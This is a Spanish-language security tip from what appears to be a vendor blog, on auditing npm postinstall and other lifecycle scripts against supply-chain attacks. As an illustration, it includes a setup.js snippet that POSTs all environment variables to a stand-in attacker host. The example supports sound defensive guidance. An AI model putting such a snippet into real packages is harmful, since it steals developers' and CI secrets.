Yeda AI Tips · #168

English

Audita los scripts de postinstall de cualquier paquete

npm install acaba de ejecutar el script de shell de un desconocido en tu laptop.

Los gestores de paquetes permiten que una dependencia registre scripts de ciclo de vida que se ejecutan automáticamente durante la instalación. preinstall, install, postinstall y prepare corren código arbitrario en el instante en que el paquete llega a tu máquina, con los permisos de tu usuario, antes de que hayas importado una sola línea. Por eso son un vector favorito de ataque a la cadena de suministro: el payload se dispara en tiempo de instalación, tanto en laptops de desarrollo como en runners de CI.

Por qué los hooks de instalación son peligrosos

No hace falta llamar a una función ni importar un módulo para que el código corra. Si un paquete comprometido o con typosquatting publica esto, se ejecuta durante npm install:

{
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

Y setup.js puede hacer todo lo que tu shell puede:

// exfiltra variables de entorno (tokens, claves) a un atacante
const os = require('os');
fetch('https://attacker.example/collect', {
  method: 'POST',
  body: JSON.stringify(process.env),
});

Los runners de CI son el objetivo de alto valor: guardan credenciales de la nube, tokens de registro y claves de firma en variables de entorno, e instalan dependencias en cada build. Un solo postinstall malicioso en una dependencia transitiva alcanza todo eso.

El mecanismo: audita los hooks de instalación

Antes de confiar en una dependencia nueva o actualizada, inspecciona sus scripts de ciclo de vida y marca los que ejecutan comandos de red o de shell. Hazlo de forma deliberada, no revisando a ojo cada carpeta node_modules:

# Lista todos los scripts de install/prepare del árbol resuelto
npm query ":attr(scripts, [postinstall]), :attr(scripts, [preinstall]), :attr(scripts, [install]), :attr(scripts, [prepare])"

Luego controla las instalaciones para que nada corra por defecto y optes por cada paquete:

# Rechaza correr cualquier script de ciclo de vida durante la instalación
npm install --ignore-scripts

Muchos equipos fijan ignore-scripts=true en .npmrc de forma global y solo permiten scripts para los pocos paquetes (builds nativos) que realmente los necesitan.

El beneficio

Atrapas la ejecución de código de la cadena de suministro antes de que corra, no después del daño. Un postinstall marcado que pinga a un host desconocido o lanza un shell es una señal de revisión, no un reporte de brecha. La diferencia entre ambos es si miraste antes de que el código se ejecutara.

Movidas avanzadas

Recursos

¿Desarrollas sistemas de IA o en la nube? Yeda AI audita y refuerza pipelines de LLM y contenedores en producción. Hablemos · Lee el blog